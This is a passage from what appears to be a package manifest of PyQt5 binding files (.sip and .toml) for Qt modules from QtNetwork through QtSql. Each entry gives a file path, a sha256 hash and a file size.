+PyQt5/bindings/QtNetwork/qhstspolicy.sip,sha256=08LZF7o4IW8bQ898WVYr7ex3oxJiZp0BR0IL5DfNae8,2174 +PyQt5/bindings/QtNetwork/qhttp2configuration.sip,sha256=eLxkX9WND3np5TzvE304hcIIxUqUtIhG7cd1TlPIS7A,1987 +PyQt5/bindings/QtNetwork/qhttpmultipart.sip,sha256=XXydVJ_-jH9xWeZeyS-lZCynp8WQtySB9GECq4XoUuI,2175 +PyQt5/bindings/QtNetwork/qlocalserver.sip,sha256=l1o0_xJh013RWMCwuUlDuDXXRZ_JLCk26xUWSW2Oowk,2436 +PyQt5/bindings/QtNetwork/qlocalsocket.sip,sha256=NdifR8nuEGgrVhyHi5V2rKSUP2p-Qje-uj9m5cVRawA,4647 +PyQt5/bindings/QtNetwork/qnetworkaccessmanager.sip,sha256=PYilvH-tTuySo-vEe6yC4jGHNLg_KZjv-OUvrP1lhMQ,6052 +PyQt5/bindings/QtNetwork/qnetworkconfigmanager.sip,sha256=LaNCtJJLt1AsnX5LYfQojnaI-L_JbZPRmfz6tn1A528,2584 +PyQt5/bindings/QtNetwork/qnetworkconfiguration.sip,sha256=W8kPSdFq279CSLdFxpzpo1BGdF85aGyC8-s0ntUUs-8,2906 +PyQt5/bindings/QtNetwork/qnetworkcookie.sip,sha256=JNb9dJahrjEdE2g6o4nZ3dpEmR4yUO8RM75pHI8kDjA,2305 +PyQt5/bindings/QtNetwork/qnetworkcookiejar.sip,sha256=jHP04wqgsFQ5tLajWxIkTBn45Knrq6gQ8IyzfSyXW9Q,1761 +PyQt5/bindings/QtNetwork/qnetworkdatagram.sip,sha256=9YbjJQXxJYnmWEiORT1Ehb7fLRXDaa0QaudBh4Tv8t8,2020 +PyQt5/bindings/QtNetwork/qnetworkdiskcache.sip,sha256=tcHTetLHiangG5RjTHkVfcg5vTH3DXIhQvs8BDiZgH4,1931 +PyQt5/bindings/QtNetwork/qnetworkinterface.sip,sha256=z7D-_dFtsqwtOI4X2wMwDxedvZfoiAwr1nQOblvrgfk,4334 +PyQt5/bindings/QtNetwork/qnetworkproxy.sip,sha256=lfVNLWZSclb3zKg-iVM33DARWGuinpoCLkRBYjBzhMg,6066 +PyQt5/bindings/QtNetwork/qnetworkreply.sip,sha256=kjicCKIlxGzEPIAIBeY6VxeCsUdBkJlAnVKlEXsZT0k,5309 +PyQt5/bindings/QtNetwork/qnetworkrequest.sip,sha256=SOuOevJmWWs1bDrmWUjqe48sb1rPFULLd7NqiP1VJUA,5549 +PyQt5/bindings/QtNetwork/qnetworksession.sip,sha256=Ok7p6oOxuCClCNISO6jV1ERENyISrVcwF9rnWe3Ym7E,3012 +PyQt5/bindings/QtNetwork/qocspresponse.sip,sha256=a1eyGI_1evm8KNwKzXge4XCh8YyAl5tJMCK8fmruKdA,2264 +PyQt5/bindings/QtNetwork/qpassworddigestor.sip,sha256=Wm7Ne1CG0eoBVKe9Y4rVCVg6eTowMqCZ5OTaC7TxHac,1439 +PyQt5/bindings/QtNetwork/qpynetwork_qhash.sip,sha256=T3gNXUk95aJLSlaLeC0UU5O4MRwXRtVWTc-2i2yZyb0,3590 +PyQt5/bindings/QtNetwork/qpynetwork_qmap.sip,sha256=fT5L0hM4Kkbv5pA46TiukfGBzpP0mkP-QZdlBZ8sJAk,4045 +PyQt5/bindings/QtNetwork/qssl.sip,sha256=WDKELwdCBzbmfOE50zhZ9CsiQlGFiivPLD7lZtuGWvI,2771 +PyQt5/bindings/QtNetwork/qsslcertificate.sip,sha256=JN74Axq6u7DryJ7iUr44YB5KQnobyLl3gkevfzt6IPg,3964 +PyQt5/bindings/QtNetwork/qsslcertificateextension.sip,sha256=3x8RrXMS0uaZKx3rWkvNBqGhoF-TsIRGL7sPvU-SWBs,1469 +PyQt5/bindings/QtNetwork/qsslcipher.sip,sha256=Gaa7D5PNJVmXLUgP7iklVZAQ3x2VOqYnkZerX-nnnPQ,1769 +PyQt5/bindings/QtNetwork/qsslconfiguration.sip,sha256=ombGKG_NHhvf-DcNV6VwgvmDXaa7hz67GcpIWHP2SIY,5450 +PyQt5/bindings/QtNetwork/qssldiffiehellmanparameters.sip,sha256=xFYxqvayss2gUAWEJjfy9FEzE9TxP9juQp_3vVh3MBQ,2345 +PyQt5/bindings/QtNetwork/qsslellipticcurve.sip,sha256=mePPO2SKLaY-VpU_Ye7mwgkrO-rSdMTGnzhu-xHqNv4,1712 +PyQt5/bindings/QtNetwork/qsslerror.sip,sha256=lIBrPaoO8QB5biXNnsm78Gdp7RGX-sAIFrE_9BU42HM,3206 +PyQt5/bindings/QtNetwork/qsslkey.sip,sha256=GWnU1Rzf506aLUG2jfYBTUPU6wh-G4XVtQe_6CtMspQ,2072 +PyQt5/bindings/QtNetwork/qsslpresharedkeyauthenticator.sip,sha256=xEoJDI45VVvIsxBWEfO5MlH79AV237yCu8yCxxIosGg,2006 +PyQt5/bindings/QtNetwork/qsslsocket.sip,sha256=Gh8PF4arJgBNbPYRs5MjDJD_wDjr-W66qvpnNKo5q6s,8303 +PyQt5/bindings/QtNetwork/qtcpserver.sip,sha256=fhPNnfw3HFvc43j4VyuKCqimfdFzo9Vf_ZY1yn_nAlk,2197 +PyQt5/bindings/QtNetwork/qtcpsocket.sip,sha256=-HW5HtataP5jHvDb7AGealdLE7utTMXFB_QqkvEQM-s,1166 +PyQt5/bindings/QtNetwork/qudpsocket.sip,sha256=v0QRvxKEjYXzOhs8ggsTmuAdZOGElM_vb7zmWnAudR4,3105 +PyQt5/bindings/QtNfc/QtNfc.toml,sha256=FACy8YddvrZ_uppTA02d6kTZzcDK5G6JXPqPkp7fANQ,179 +PyQt5/bindings/QtNfc/QtNfcmod.sip,sha256=u76dVn91CxN-0ez3EXDXo-GkZ_BI6hPARqA5peOYLVg,2297 +PyQt5/bindings/QtNfc/qndeffilter.sip,sha256=l8Q1SHGooip3ViIiUw9qhmTtuD6MTrM9cfjVdmdxaK0,1766 +PyQt5/bindings/QtNfc/qndefmessage.sip,sha256=vvUIypnW7IofB6xtHATtNWCplJa9seqfUcHTkkO61WU,2252 +PyQt5/bindings/QtNfc/qndefnfcsmartposterrecord.sip,sha256=0QS7xI62aPlw42TmEvHkX67SxyXX5avpCmcqMbP1Pyo,3441 +PyQt5/bindings/QtNfc/qndefnfctextrecord.sip,sha256=4uRV5-hT1n-vQlPERWzA46Rib26kKreQDyiviAnXzro,1520 +PyQt5/bindings/QtNfc/qndefnfcurirecord.sip,sha256=SwY2osHmhh-rGRvkSRvNQ3Hpu4F5ll38srJxYgVFvl0,1251 +PyQt5/bindings/QtNfc/qndefrecord.sip,sha256=FeqNdkB3zRki4jL66nAa9Q6UeZDw0vaGCJWSUETB8eM,2605 +PyQt5/bindings/QtNfc/qnearfieldmanager.sip,sha256=B3Fot3VMIwfXG3Bld2K1gPHGFAQZ_nBtWdAYjDTmhXM,5384 +PyQt5/bindings/QtNfc/qnearfieldsharemanager.sip,sha256=BOJRfOoZsHVzGfFgLsDqNwTm6YFSwvfQ_DzPG8Kcnxk,2344 +PyQt5/bindings/QtNfc/qnearfieldsharetarget.sip,sha256=cSW0XNdL5OxsDq_k8K4wJwAHZJ6ify0vEwzWqq52l4Q,1550 +PyQt5/bindings/QtNfc/qnearfieldtarget.sip,sha256=UcyX0vrEf1jdfh7k4Zz3fKfrGMQ-oLuQXWTSt4eZCSs,4233 +PyQt5/bindings/QtNfc/qqmlndefrecord.sip,sha256=pwHSNtuJlBPi1X7rlw4V2Y2egWF5qTmySvhw_xV5lUc,1834 +PyQt5/bindings/QtOpenGL/QtOpenGL.toml,sha256=gYyGxOJDGlCmGPerpGn5x5Pcee9l3G8y4SMXe-32aRE,182 +PyQt5/bindings/QtOpenGL/QtOpenGLmod.sip,sha256=Sq99yMnTIzniD2EGf1YoQOyatghVSB6ij_s9Eto4x4Y,2039 +PyQt5/bindings/QtOpenGL/qgl.sip,sha256=H9Ilqdc3I4q4slQIcypYBCySG3BI0jSkJeG2Q0fktCE,11047 +PyQt5/bindings/QtPositioning/QtPositioning.toml,sha256=I5R8UyYExSbLZD2-WUtW8aBPsHbycPhsrHwrqgq5bGk,187 +PyQt5/bindings/QtPositioning/QtPositioningmod.sip,sha256=MH-z7tBfbkZEy7KRBJmn4G0k4a2b2d5nJiOfh1w7c1Q,2387 +PyQt5/bindings/QtPositioning/qgeoaddress.sip,sha256=dZgfHVmLyG0wrxAYX7X_N4vbPULzbhWz3_6kw_1A25U,2045 +PyQt5/bindings/QtPositioning/qgeoareamonitorinfo.sip,sha256=2aGa7LhUfJy55wrCWBnbwdZD135ucmMFcEtVuyW_g0A,2088 +PyQt5/bindings/QtPositioning/qgeoareamonitorsource.sip,sha256=QpIrsIx5M3MjmU6wUTFV89F3qJbcRQ9macdNCBcfC-Y,2971 +PyQt5/bindings/QtPositioning/qgeocircle.sip,sha256=ZUOTZeP7tMkhLAAg8O_kbv1Wtvhl2955124cRD4kZEQ,1836 +PyQt5/bindings/QtPositioning/qgeocoordinate.sip,sha256=tUrMrRIZnkEOH0JnTDrgCS0JvIthdpFn1gXaGWLtn5M,2765 +PyQt5/bindings/QtPositioning/qgeolocation.sip,sha256=ibavWCcPBLL77IxASXR0lGkVbjIvZ1ZO_ecwfoCb-mE,1748 +PyQt5/bindings/QtPositioning/qgeopath.sip,sha256=EsE98Qd1_zTTOUAPbHanXZTKprzqoZVmlssmsSYkhF0,2322 +PyQt5/bindings/QtPositioning/qgeopolygon.sip,sha256=8H3hjqnJaZUXI8wxXy46qPTuNd8sSsIjOBhKFux01xA,2768 +PyQt5/bindings/QtPositioning/qgeopositioninfo.sip,sha256=nXOYcXfAcYTXxAaeW8VXzIZc1N3xMlVeGPdHacb10pA,2318 +PyQt5/bindings/QtPositioning/qgeopositioninfosource.sip,sha256=-zmq181WeRhOnwhFb8ndDvpQci06VDoD4OzEtxo-10c,4504 +PyQt5/bindings/QtPositioning/qgeorectangle.sip,sha256=A15vSNfD9KBHKKu0CZXZ81_5d2BRg4G-gxZbLJvQ_NA,2846 +PyQt5/bindings/QtPositioning/qgeosatelliteinfo.sip,sha256=--JFv52obrnYicwc49jIi6xfsnoNV2rUO2RyKvq9S3w,2321 +PyQt5/bindings/QtPositioning/qgeosatelliteinfosource.sip,sha256=eAvL3CFQ7HhMTnFEQ0WMUew0eQJGjwUF2PIfZNZ6GpM,2666 +PyQt5/bindings/QtPositioning/qgeoshape.sip,sha256=L_dJgYEeBbjX1EUfVe_tBKmZaDTU7PIz6j8wIudgQzk,2684 +PyQt5/bindings/QtPositioning/qnmeapositioninfosource.sip,sha256=zmbdq5TgwBum8mtG1xUzDH2lB-zD3sRn-XxKW-AYC5w,2315 +PyQt5/bindings/QtPrintSupport/QtPrintSupport.toml,sha256=4tBdI7GYouiWNqZmuFrZDniswWj5lAsM-0iPq70o7u0,188 +PyQt5/bindings/QtPrintSupport/QtPrintSupportmod.sip,sha256=2AlLa4XymFQL2zd93L8MkwUqEvO7wTtFFF6teuDk-KA,2313 +PyQt5/bindings/QtPrintSupport/qabstractprintdialog.sip,sha256=YIU9dj1pimmoAuq-S3uplamdduzR7Uc8E4T7tP7HKFc,5150 +PyQt5/bindings/QtPrintSupport/qpagesetupdialog.sip,sha256=Fmc_f5wspllD3k2ne-ZikiCT_6SoGRN7hkd30k2AvyE,3359 +PyQt5/bindings/QtPrintSupport/qprintdialog.sip,sha256=L_Lw4x5IEVDt-_KwTJwlyVChwMFe2tLp-jyDZRSOUZw,3748 +PyQt5/bindings/QtPrintSupport/qprintengine.sip,sha256=O3FGmLvkTwWNG75a8ticnI6UgOA0Qx9ftEzgpcwkctA,2501 +PyQt5/bindings/QtPrintSupport/qprinter.sip,sha256=_VHH0DRS3szaExJoCUoUSxJf4AO1JlsT3JVm_TWXo8I,5949 +PyQt5/bindings/QtPrintSupport/qprinterinfo.sip,sha256=k8ZPmC0dsyjRfwpxx5mMLq_h_w-Kd14CvLzNHHehlcE,2754 +PyQt5/bindings/QtPrintSupport/qprintpreviewdialog.sip,sha256=JGu3BzCJvOUZHfjGK8EbC2z4Kskh33tSBavrkVjT5tU,2093 +PyQt5/bindings/QtPrintSupport/qprintpreviewwidget.sip,sha256=kBxNLTa1mB4MMdiHU5TG07Etcsc8NaMRhwt9Y9YlHUw,2688 +PyQt5/bindings/QtPrintSupport/qpyprintsupport_qlist.sip,sha256=ofVEapZmm0nK9CRquMXWEooCSfaCMNhUEJ5eVOMRtg0,7520 +PyQt5/bindings/QtQml/QtQml.toml,sha256=-CfssHgU8MCeFfKO45YbXAW6A_Hk7OV7X85OWnxF1Ng,179 +PyQt5/bindings/QtQml/QtQmlmod.sip,sha256=WNjxvC2eaxnoWWk21rAJs22pfhj4LrABzrvhRQk0EAw,2714 +PyQt5/bindings/QtQml/qjsengine.sip,sha256=tkQvBOrZlKWmWbtzl1fnymzjp5fz04Rp5RFqA6_Vcfk,4536 +PyQt5/bindings/QtQml/qjsvalue.sip,sha256=wlRCjtcjaPUojxMGUB-ohw-miULdJO69DbruGCPyw1g,3271 +PyQt5/bindings/QtQml/qjsvalueiterator.sip,sha256=5w2SpJbNu54R43eBtKWoNV4BGTmj14uKFDr3Ur3X1h0,1306 +PyQt5/bindings/QtQml/qmlattachedpropertiesobject.sip,sha256=rnOzwpi-FJWIdqKDIltJB9hz7TQABaJAu9DYwmT6qy0,1561 +PyQt5/bindings/QtQml/qmlregistertype.sip,sha256=SQ_5F-fx287qaVunn3ewY4x1kJyPXtzbtkvMl3crNog,3663 +PyQt5/bindings/QtQml/qpyqmllistproperty.sip,sha256=TL_t60kUIVVgR9KEpAVsL5354Nej_iI6KnjB6aGYToQ,1453 +PyQt5/bindings/QtQml/qqml.sip,sha256=U-fDDHYrQR2FmRKPgEGP0d8pbaGkn3vBkQvTnMp3klI,1154 +PyQt5/bindings/QtQml/qqmlabstracturlinterceptor.sip,sha256=NS4rjLdxsyuTSEww3Aln9BHyiNT-LXZGe1PmpjoRvAs,1423 +PyQt5/bindings/QtQml/qqmlapplicationengine.sip,sha256=t-eDzIO8_EnERr98DSYJfcnNooA-IqX1NPQ47WILGQQ,1946 +PyQt5/bindings/QtQml/qqmlcomponent.sip,sha256=NRYHPeGpaawjTSs-sg-c3HBgF21jYEVdUUYUco_UFBY,3092 +PyQt5/bindings/QtQml/qqmlcontext.sip,sha256=fFPUBoSuOmFc75mJ1-V_EfykYPyp_ASnTCgvcOff6rw,2030 +PyQt5/bindings/QtQml/qqmlengine.sip,sha256=lzDSO-VTRZO0Y4gaq2VK_qDXs2yOLb2aweqlvOSgrRY,6009 +PyQt5/bindings/QtQml/qqmlerror.sip,sha256=uZQo4GakgTNZObqLHde_898YZivLvC2pYZbSOkL5lIw,1654 +PyQt5/bindings/QtQml/qqmlexpression.sip,sha256=2DE5Vy6i6DzvgYnOyEvtvCh8pNrv-GNsdhBhzaBT9Ak,1977 +PyQt5/bindings/QtQml/qqmlextensionplugin.sip,sha256=ILCz3GL0ULnEEIgsNw4hQUMsmIA9ZwnG5oRaaaX74CI,1719 +PyQt5/bindings/QtQml/qqmlfileselector.sip,sha256=O9IOCswIiEf5KySsqx-Uo-XsQqHZY2AMqehr4rUFQ1U,1538 +PyQt5/bindings/QtQml/qqmlincubator.sip,sha256=4nJFglZu3xL6fPMtqFuEOHYj5cXg18OLuem3q05eKGg,2442 +PyQt5/bindings/QtQml/qqmllist.sip,sha256=sii6pP5jYNBQtysnToQeAJ2Ames0H4_ZJ1SBZWOxMtw,1868 +PyQt5/bindings/QtQml/qqmlnetworkaccessmanagerfactory.sip,sha256=FeyyJWHBKWDqgXVckQMap8IC2MHcKXY949a1-z3DKFM,1231 +PyQt5/bindings/QtQml/qqmlparserstatus.sip,sha256=YCb-XhusQmsbEMkRzqLpUnAdeDlHobAsA32kRr0xBJo,1269 +PyQt5/bindings/QtQml/qqmlproperty.sip,sha256=UIStmukDtqxZx3CRhQ74IlA_xjCqL4_FzNu25-c_2mo,4127 +PyQt5/bindings/QtQml/qqmlpropertymap.sip,sha256=7plhMbSESitgrwmncqzjonS3UhEvFIGBvbQzPMdsTAk,1708 +PyQt5/bindings/QtQml/qqmlpropertyvaluesource.sip,sha256=lBKTdF2N_f9Gt_uzKEeSqQJpn4X2aJd0Zsz8iQvpWD8,1287 +PyQt5/bindings/QtQml/qqmlscriptstring.sip,sha256=7ezJMcahNXh9buMxMKsukgfPW_0e1JZoPQ3CrjZx0VI,1546 +PyQt5/bindings/QtQuick/QtQuick.toml,sha256=MTYxiyINoydMmeoBy7mpgp6_bo_ac3j9ab13kFT57cY,181 +PyQt5/bindings/QtQuick/QtQuickmod.sip,sha256=Opdxb26V1XF2RSZjdcsGabBZPXUaemn8fim2khJ72bI,2811 +PyQt5/bindings/QtQuick/qquickframebufferobject.sip,sha256=RZjcRhBVfxbCPtRWtRm13z67MYmQ32MAjCWeRvnX2cY,2633 +PyQt5/bindings/QtQuick/qquickimageprovider.sip,sha256=p1RcpAz5irjwEh_Lv_GdfDbjSpD9FZQmcEGPhWY1YBk,2982 +PyQt5/bindings/QtQuick/qquickitem.sip,sha256=_nXBhsIv6t3FX-0MXzxdQEtTxZBNaPjZvpyx6q06w9s,10071 +PyQt5/bindings/QtQuick/qquickitemgrabresult.sip,sha256=D85fKNdxE58mJq4xBfwnW2oWT1zsA8draGyF_Ir2YCE,1487 +PyQt5/bindings/QtQuick/qquickpainteditem.sip,sha256=ZAAR98AeZu6MweGnqpT3JnIpeYSEFtV5c0WH_G6ujfo,3480 +PyQt5/bindings/QtQuick/qquickrendercontrol.sip,sha256=tNDRC4oXeG78NdV-3dTmJ8tZizxag0ihEawWErVFRn4,1781 +PyQt5/bindings/QtQuick/qquicktextdocument.sip,sha256=v6SLSazrV9HJbaKotz9Ozh2cuhjw3_d8GlR-gbXpOSY,1285 +PyQt5/bindings/QtQuick/qquickview.sip,sha256=oVL7msm1wavouBS_HxRGCyowGougvWoPzmtUAe2NJbM,2445 +PyQt5/bindings/QtQuick/qquickwindow.sip,sha256=6Z2xgo6k-CQNifVOJpBaBWFMm0-DasaWCEF1QkdS_0Q,9221 +PyQt5/bindings/QtQuick/qsgabstractrenderer.sip,sha256=71qEIHMEC9z78OxMC1n7mDKLlC70jbDqBKp3wt0CNxs,2559 +PyQt5/bindings/QtQuick/qsgengine.sip,sha256=Ao4pLXcLMQNNbDRx2CZUUqLrYYgfl9CPuvNsIcS6OEQ,2223 +PyQt5/bindings/QtQuick/qsgflatcolormaterial.sip,sha256=3Gl9AR6_ZRxwYbVAk0uk5tLsnkpiPDqKtS7Z67aDtbc,1370 +PyQt5/bindings/QtQuick/qsggeometry.sip,sha256=MwnXouHV66K7uN6YlMQW0nTSilz5jWyYQLZ_brHC4BM,12824 +PyQt5/bindings/QtQuick/qsgimagenode.sip,sha256=mKmp6Oe3kOUcXKX1bgFtCe-vLSOAK10JbgtPs1M2t8w,2891 +PyQt5/bindings/QtQuick/qsgmaterial.sip,sha256=Cejk4Uir5QWS9cus-RLCEM-CRXgGVmsQEe2ovtYgXWA,7874 +PyQt5/bindings/QtQuick/qsgmaterialrhishader.sip,sha256=NGdUGgC_iqvCNBSM1jBFoOKazxFkuj1yhrmJVHuDbE8,4048 +PyQt5/bindings/QtQuick/qsgnode.sip,sha256=xgwOxHO833l1ndtSELRn4nTKDghIwxdqhNBKywOyUG0,9134 +PyQt5/bindings/QtQuick/qsgrectanglenode.sip,sha256=bxDtD__qDKG71zgq3Fx64253DiecjL32pXcINBlOdp8,1407 +PyQt5/bindings/QtQuick/qsgrendererinterface.sip,sha256=f_fcrpjyq7MQarCHC4eX9PwEXgcSuGHf0Pc6sWvDNUs,3601 +PyQt5/bindings/QtQuick/qsgrendernode.sip,sha256=ngakeporv9WPj7HcVENOFqjJgRD1nFeNU0udbG7Qczk,2784 +PyQt5/bindings/QtQuick/qsgsimplerectnode.sip,sha256=VQpjb3ZAPeI0ICLebv2jonqRUaiP7yeqN8ekxntYeAc,1391 +PyQt5/bindings/QtQuick/qsgsimpletexturenode.sip,sha256=MLOds1i5b4Phy4IYlxNPXpRl2sTiEnpOaRuCvqFr7TA,2600 +PyQt5/bindings/QtQuick/qsgtexture.sip,sha256=rBfV3NdSzPk_nLf5QC1BV1P0givpmPrPCP7Nb0j2aJc,3108 +PyQt5/bindings/QtQuick/qsgtexturematerial.sip,sha256=8Mk_Byj9K2gYc39BhD8HLYJYwjR41jp7oiZ5vizS1AA,2226 +PyQt5/bindings/QtQuick/qsgtextureprovider.sip,sha256=UjMcruFSfWQ8Qaj0xDAo9fxp-QxQvOxug1cZjoIAXJw,1186 +PyQt5/bindings/QtQuick/qsgvertexcolormaterial.sip,sha256=FGDIgqQAx8tHQ0cEBBNow3NmJuxlSJH64UFotI5oLtA,1317 +PyQt5/bindings/QtQuick3D/QtQuick3D.toml,sha256=FtzZ7POiAI5J3H2ar_g4aryJ6_VdPilQQwBLhP1iwcU,183 +PyQt5/bindings/QtQuick3D/QtQuick3Dmod.sip,sha256=-uNyL9x_GeRR1tgHLDQf53ljejhn3BPPYbd0ISscBmY,2099 +PyQt5/bindings/QtQuick3D/qquick3d.sip,sha256=6jvDBSrTltl84eLfI3LVPiJX1fd5uYKXHUWsbWnt4os,1146 +PyQt5/bindings/QtQuick3D/qquick3dgeometry.sip,sha256=XwVpa5MUxGY4IDJf_pfgJvQeDUSWLjmTh0Xv7ujw7jA,2989 +PyQt5/bindings/QtQuick3D/qquick3dobject.sip,sha256=8HkjWW7ZsKer0Hm8Lse5OHDLIUAhdFnJuYCgN3PQ8G8,2186 +PyQt5/bindings/QtQuickWidgets/QtQuickWidgets.toml,sha256=sZ0JF7l-cUPLZB-krOYSfxEu9h8BO1PPru1HFw8UMc0,188 +PyQt5/bindings/QtQuickWidgets/QtQuickWidgetsmod.sip,sha256=N8UbOZfSA4I0dC8j0Z2TbFc4n1RMPgKd8wNg8RQuMg0,2126 +PyQt5/bindings/QtQuickWidgets/qquickwidget.sip,sha256=OKb9tEtrJmJJL9rG7yoqsHSvY72X8COYKE1nyH57Z7I,3740 +PyQt5/bindings/QtRemoteObjects/QtRemoteObjects.toml,sha256=b0xHcc8NpkIa76kFNUbOxzGkN61awFjXKLHHcjF_f_A,189 +PyQt5/bindings/QtRemoteObjects/QtRemoteObjectsmod.sip,sha256=hEOYT5rnt8BEERZ9zaPOnabj98mAhB3GfTz_f12Hd8s,2210 +PyQt5/bindings/QtRemoteObjects/qremoteobjectabstractitemmodelreplica.sip,sha256=WwAyUKV_cUezj95v57BM3iWb9rhPIiCnuDwSOAKkhYI,2383 +PyQt5/bindings/QtRemoteObjects/qremoteobjectdynamicreplica.sip,sha256=-5nvKZrC-tGfSiK4UzkdXJygbqmk10NBQYMQRPYiOoU,1260 +PyQt5/bindings/QtRemoteObjects/qremoteobjectnode.sip,sha256=Iyy28TPAd_dvtV2-aHi1cG9Pm-9R0bHItJjL9U5awt4,6707 +PyQt5/bindings/QtRemoteObjects/qremoteobjectregistry.sip,sha256=w6zJGX4Z4x0Jy_81nyQMRhFjJDMCJnb2DRlR4uB2wdc,1473 +PyQt5/bindings/QtRemoteObjects/qremoteobjectreplica.sip,sha256=-XvO0lP4F9l_dlSlP2aFkEN9ZbVYCILup6katFBDGw8,1770 +PyQt5/bindings/QtRemoteObjects/qtremoteobjectglobal.sip,sha256=aLkjT31_-legx_IvFT0Z0iWQAguLnGlLkgBgivaeFmI,2156 +PyQt5/bindings/QtSensors/QtSensors.toml,sha256=ikGjo4FNOndE2KRzZgpNRUpetmsCEEsmj8EiRLWLAjw,183 +PyQt5/bindings/QtSensors/QtSensorsmod.sip,sha256=fg-twvAYCJI0g6iY1TfxuNVAZCvXChpiRljYSQ207zw,2535 +PyQt5/bindings/QtSensors/qaccelerometer.sip,sha256=w2SeVnx3yq99l-J9ZrgAtFPhxUNaY9lFokHED0SSfns,2118 +PyQt5/bindings/QtSensors/qaltimeter.sip,sha256=A8KcDK2nPpXkiHwlX-of3S-pDlIuzgDuprEf7DsLYSo,1689 +PyQt5/bindings/QtSensors/qambientlightsensor.sip,sha256=SUu5miNpuFjaY65qCoG_KmCcwwyohSJEdSBLbIpmH3Q,1916 +PyQt5/bindings/QtSensors/qambienttemperaturesensor.sip,sha256=tIMfwURnw968j_R4OEtZ5HAOfZ5itzFeqVnzAhyhWk4,1869 +PyQt5/bindings/QtSensors/qcompass.sip,sha256=3aJX3PqGNUz5PObxBVojgGWlwGyJbrnxLm9Zo0FK8Bg,1752 +PyQt5/bindings/QtSensors/qdistancesensor.sip,sha256=KCWKDWGAogASiYuVCA1QeYmCuQrnpjdLrBq9wqiQcJ0,1730 +PyQt5/bindings/QtSensors/qgyroscope.sip,sha256=8rj89n9DK2NhxRbxSkLwf5298gbBggJFg6Sb-8MTbV8,1762 +PyQt5/bindings/QtSensors/qholstersensor.sip,sha256=W7n01awRyT9uWoNTQvoJD26nr1DdD8b0TocCe3GaKI0,1718 +PyQt5/bindings/QtSensors/qhumiditysensor.sip,sha256=Ta4oKmPqMGAfoirnwIzfTh41UqVOQJW-KZ5L3M81Yt0,1767 +PyQt5/bindings/QtSensors/qirproximitysensor.sip,sha256=lzlyM-oAZZ1JEZs7iZYs4gQTbcT3q5CV61Ej-xcmJWc,1778 +PyQt5/bindings/QtSensors/qlidsensor.sip,sha256=F2NLc6EiiYttdw00hJUiQl_QzlnAocCuagYmhvlnX14,1789 +PyQt5/bindings/QtSensors/qlightsensor.sip,sha256=jltkxv-zdUfIvenb2TktFqB4HBq4du2m4qT_kScxfAE,1814 +PyQt5/bindings/QtSensors/qmagnetometer.sip,sha256=QOLeh28bgKjqjKnszt0Jq57GdecCBPyCndtoZTcXjVE,2048 +PyQt5/bindings/QtSensors/qorientationsensor.sip,sha256=NUQn8wPDBoCya52_6UFvSe9Afqasbk_QQPxN774yMVA,1996 +PyQt5/bindings/QtSensors/qpressuresensor.sip,sha256=8vs1Deamhx97IERxCx3EAgT7zvVuqVhpq0j_9NEeX1o,1855 +PyQt5/bindings/QtSensors/qproximitysensor.sip,sha256=2xN-ACtJ7y3M7su--I42NNCld0hvkHv-Xubx1sDWfIA,1732 +PyQt5/bindings/QtSensors/qrotationsensor.sip,sha256=YPbEtm2KPSNsQzwGyW2vTlm3VVYLcYJouN5wH2PRkxY,1879 +PyQt5/bindings/QtSensors/qsensor.sip,sha256=wWE1JOBwYYSLkTSlBVIZET8o9mgllhA-zIQIvO_iQAQ,8664 +PyQt5/bindings/QtSensors/qtapsensor.sip,sha256=yrCEGChYFkSEAMmLwzEqQ4mf9xI1GDpxLLWph8gU_cM,2216 +PyQt5/bindings/QtSensors/qtiltsensor.sip,sha256=gSxaZOvKmBbhIdDfy0wbEDgMJl6kX7xhkwXarzIriIM,1759 +PyQt5/bindings/QtSerialPort/QtSerialPort.toml,sha256=_JReUdmcd_P1OhMu2jV8yD8Klo3Qbr0TnDrAEbZ72s0,186 +PyQt5/bindings/QtSerialPort/QtSerialPortmod.sip,sha256=A83APECOCF9R8OkvCg9R97dOTYGtWVbbOfgxo6fUpS4,2025 +PyQt5/bindings/QtSerialPort/qserialport.sip,sha256=FCDiwPGtj2SRT0gNs-2bPl8PF5LLQcECxuZqqf9MVrc,9761 +PyQt5/bindings/QtSerialPort/qserialportinfo.sip,sha256=Xpk6QdqdOEd0UGri0fZTRAkUjz77QJDVWywDulGnHLQ,1897 +PyQt5/bindings/QtSql/QtSql.toml,sha256=i8U1oLfrAHQCJQPoT1geRjlRRE7BJmZ1EO1oCo4Iz6k,179 +PyQt5/bindings/QtSql/QtSqlmod.sip,sha256=RJkk8U7VUoQxg3pUf-xl41u6qfzEru7Ec90xnPniRPI,2361 +PyQt5/bindings/QtSql/qsql.sip,sha256=v2SElccrY6nZKVxQcygR8PtKwPn1pzSDhUI6Oz7jldg,1690 +PyQt5/bindings/QtSql/qsqldatabase.sip,sha256=aKuELnB1ZrqxTsAGcXDJhOKN5CCn8MV3SwPW1EIigd8,3963 +PyQt5/bindings/QtSql/qsqldriver.sip,sha256=xzxnZ-JNSN0vvHW0PBlcAXHs6JD8wVwKFD6sqgDG9-U,5168 +PyQt5/bindings/QtSql/qsqlerror.sip,sha256=SJP8z3VgKgTqmtaXXdhpQwoY2It3DQsWtexDp1jxhVY,2405 +PyQt5/bindings/QtSql/qsqlfield.sip,sha256=bFUVcn2TYWypE6RsZpdwU-ZOoa4sradaHqDpuO1n1rs,2569 +PyQt5/bindings/QtSql/qsqlindex.sip,sha256=1VDMKkVsYEoesoIMPgrAJjkwG6CdyfhSR48XpF4cxFI,1538 +PyQt5/bindings/QtSql/qsqlquery.sip,sha256=kJxGG9Po-Qt6kdUeuxo0v7ku1Q55jDESjTvOV4ksTgo,3258 +PyQt5/bindings/QtSql/qsqlquerymodel.sip,sha256=xm22FLiLLXosF5tANyd_Ac2yIluC6saeriVEiYcW0a8,3033 +PyQt5/bindings/QtSql/qsqlrecord.sip,sha256=BDE3w7M2KywFrEbp-eTxBjfYkNFneQQ4ZB__eS9TyHE,2345 +PyQt5/bindings/QtSql/qsqlrelationaldelegate.sip,sha256=LsTHXB9bgo2_jeHkhEqt4t7SVO756YBBXDU1EbZmb9A,1606 +PyQt5/bindings/QtSql/qsqlrelationaltablemodel.sip,sha256=8ov2RATxqM1YizMFlV8V1oqyC76kocTKFSJ3FL4gXzI,2716 +PyQt5/bindings/QtSql/qsqlresult.sip,sha256=LL_net-CSU1W6MOX73tU6PpQSQn_1KHJ2VR5rm6o2cg,3329 +PyQt5/bindings/QtSql/qsqltablemodel.sip,sha256=DaF2g2UjjPeZ4ZHC-BJ1lnKCCsBeCxbACehiKEnrdtQ,3871 